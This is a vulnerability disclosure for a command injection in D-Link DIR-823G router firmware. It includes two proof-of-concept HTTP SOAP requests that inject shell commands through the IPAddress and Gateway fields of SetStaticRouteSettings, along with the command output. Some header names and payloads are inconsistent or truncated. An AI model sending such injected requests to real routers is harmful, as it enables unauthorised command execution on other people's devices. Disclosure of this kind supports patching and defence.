

DIR-823G

Version

DIR823GA1_FW102B03

decription

An issue was discovered in DIR823G firmware 1.02B03. There is a command inject in HNAPl(need Authentication) at the "IPAddress" and the "Gateway" in the "SetStaticRouterSettings".

others

found by wx@teamseri0us360.
please send email to teamseri0us360@gmail.com if you have any question.

detial 1

bypass the check of the " IPAddress" by modifying in HTTP Message

添加静态路由

目的网络地址

目的子网掩码

默认网关

取消

确定

RawParamsHeadersHexXML

```
POST /HNAPl/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://purenetworks.com/HNAPl/SetStaticRouteSettings"
HNAPl_AUTH: A9A078089149990B42BDF7B1089AF9F7 1561969449
X-Requested-With: XMLHttpRequest
Content-Length: 579
Connection: close
Referer: http://192.168.0.1/Staticroute.html
Cookie: uid=9LvNeD0E2v; PrivateKey=2F2ACD6615A1049235240793F85DB5F1; timeout=53

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetStaticRouteSettings
xmlns="http://purenetworks.com/HNAPl"><StaticRouteClientInfoLists><ClientInfo><IPAddress>10.3.8.211;'ifconfig >
'</IPAddress><SubnetMask>255.255.255.255</SubnetMask><Gateway>192.168.0.3</Gateway><Interface>lan</Interface></ClientInfo></Stati
cRouteClientInfoLists></SetStaticRouteSettings></soap:Body></soap:Envelope>
```

result

```
192.168.0.1/hack.txt

br0    Link encap:Ethernet  HWaddr 00:E0:4C:81:96:C1
       inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0
       UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
       RX packets:17940 errors:0 dropped:0 overruns:0 frame:0
       TX packets:17891 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:0
       RX bytes:1228149 (1.1 MiB)  TX bytes:7583310 (7.2 MiB)

br1    Link encap:Ethernet  HWaddr 06:6F:D4:6E:71:5C
       inet addr:192.168.100.1  Bcast:192.168.100.255  Mask:255.255.255.0
       UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
       RX packets:0 errors:0 dropped:0 overruns:0 frame:0
       TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:0
       RX bytes:0 (0.0 B)  TX bytes:468 (468.0 B)

eth0    Link encap:Ethernet  HWaddr 00:E0:4C:81:96:C1
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:17940 errors:0 dropped:0 overruns:0 frame:0
        TX packets:17900 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:1000
        RX bytes:1479309 (1.4 MiB)  TX bytes:7584008 (7.2 MiB)
        Interrupt:10 Base address:0x1020

eth1    Link encap:Ethernet  HWaddr 00:E0:4C:81:96:C9
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:0 errors:0 dropped:0 overruns:0 frame:0
        TX packets:112 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:1000
        RX bytes:0 (0.0 B)  TX bytes:16412 (16.0 KiB)
        Interrupt:10 Base address:0x1040

lo      Link encap:Local Loopback
        inet addr:127.0.0.1  Mask:255.0.0.0
        UP LOOPBACK RUNNING  MTU:16436  Metric:1
        RX packets:0 errors:0 dropped:0 overruns:0 frame:0
        TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:0
        RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
```

detail 2

bypass the check of the " Gateway " by modifying in HTTP Message

```
Raw Params Headers Hex XML
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://purenetworks.com/HNAP1/SetStaticRouteSettings"
HNAP_AUTH: A9A078089149990B42BDF7B1089AF9F7 1561969449
X-Requested-With: XMLHttpRequest
Content-Length: 579
Connection: close
Referer: http://192.168.0.1/Staticroute.html
Cookie: uid=9LvNeD0E2v; PrivateKey=2F2ACD6615A1049235240793F85DB5F1; timeout=53

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetStaticRouteSettings
xmlns="http://purenetworks.com/HNAP1/"><StaticRouteClientInfoLists><ClientInfo><IPAddress>10.3.8.211</IPAddress><SubnetMask>255.255.255.255</Subnet
Mask><Gateway>192.168.0.3;'ls >
</Gateway><Interface>lan</Interface></ClientInfo></StaticRouteClientInfoLists></SetStaticRouteSettings></soap:Body></soap:Envelope>
```

result

```
192.168.0.1/hack.txt

bin
dev
etc
firmadyne
hack.txt
home
init
lib
lost+found
mnt
proc
root
sys
tmp
usr
var
web
web_mtn
wx.txt
```